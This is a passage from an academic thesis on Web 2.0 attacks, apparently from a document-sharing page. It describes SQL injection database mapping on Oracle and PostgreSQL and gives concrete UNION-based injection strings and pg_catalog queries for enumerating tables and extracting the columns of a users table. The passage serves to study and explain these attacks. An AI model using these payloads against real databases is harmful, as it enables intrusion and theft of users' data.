WHERE table_name = 'USERS' --

Note that concerning the optimized attacking manner, the system tables must be chosen wisely,
the attacker attends to extract information from. If the intruder tries to trace the whole
'all_tab_columns' system table, this effort will cover the filtering of about 45000 table records by
default. If the attacker succeeds with the extracting of the 'users' column-identifiers, the revealing of
the sensitive users' data can be accomplished as well.
Note that Oracle DBMS does not allow the usage of Stacked Queries.

PostgreSQL Mapping

In this case the intruder deploys generally the attacking scenario in an analogue manner to the
previous described DB Mapping approaches. Conforming the Oracle Mapping, the attacker pro-
ceeds with compromising the system table pg_tables, as [28]:

39

2. SQL Injection

37 AND 1=0 UNION SELECT null, tablename, null, null FROM pg_tables
WHERE schemaname = 'public' --

Alternatively the system tables : 'pg_stat_user_tables' and 'pg_stat_user_tables' could be ex-
ploited as well.
Note that the particular PostgreSQL function 'information_schema' is available for this DBMS
concerning version 7.4 and above. If this requirement is fulfilled, the attacker can extract the colum-
n-identifiers using 'information_schema.columns', as follows, [28]:
37 AND 1=0 UNION SELECT null, column_name, null, null
FROM information_schema.columns WHERE table_name = 'users' --

Another approach could be compromising the system table 'pg_catalog'. The main advantage
here is, that there is no requirement to detect the user name of the currently logged user at the time
of the attack. The disadvantage utilizing this attacking scenario is the complex syntax, because the
important linked tables concerning the column-identifiers are indexed by numbers and not by names
as in the previous cases, see [28], as follows an example concerning the injection query to retrieve
the users table name:

SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN
pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND
n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)

and further an example concerning its column-identifiers:
SELECT c.relname FROM pg_catalog.pg_class C, pg_namespace N, pg_attribute A,
pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace)
AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0)
AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')

PostgreSQL allows the usage of Stacked Queries, though results are uncommonly returned in re-
verse order, which is not the case in MSSQL. If the intruder attempts the query injection construct:
SELECT 1; SELECT 2

The DBMS will return the result of the second SELECT statement prior to the result of the first
SELECT statement.
Another approach to compromise user data on PostgreSQL is concerning the exploitation of the
particular DBMS function 'stat_command_string' in configuration file postgresql.conf, setting the

40

New Web 2.0 Attacks, B.Sc. Thesis

New Web 2.0 Attacks, B.Sc. Thesis

Empfohlen

Empfohlen

Weitere ähnliche Inhalte

Was ist angesagt?

Was ist angesagt? (20)

Ähnlich wie New Web 2.0 Attacks, B.Sc. Thesis

Ähnlich wie New Web 2.0 Attacks, B.Sc. Thesis (20)

Mehr von Krassen Deltchev

Mehr von Krassen Deltchev (6)

Kürzlich hochgeladen

Kürzlich hochgeladen (20)

New Web 2.0 Attacks, B.Sc. Thesis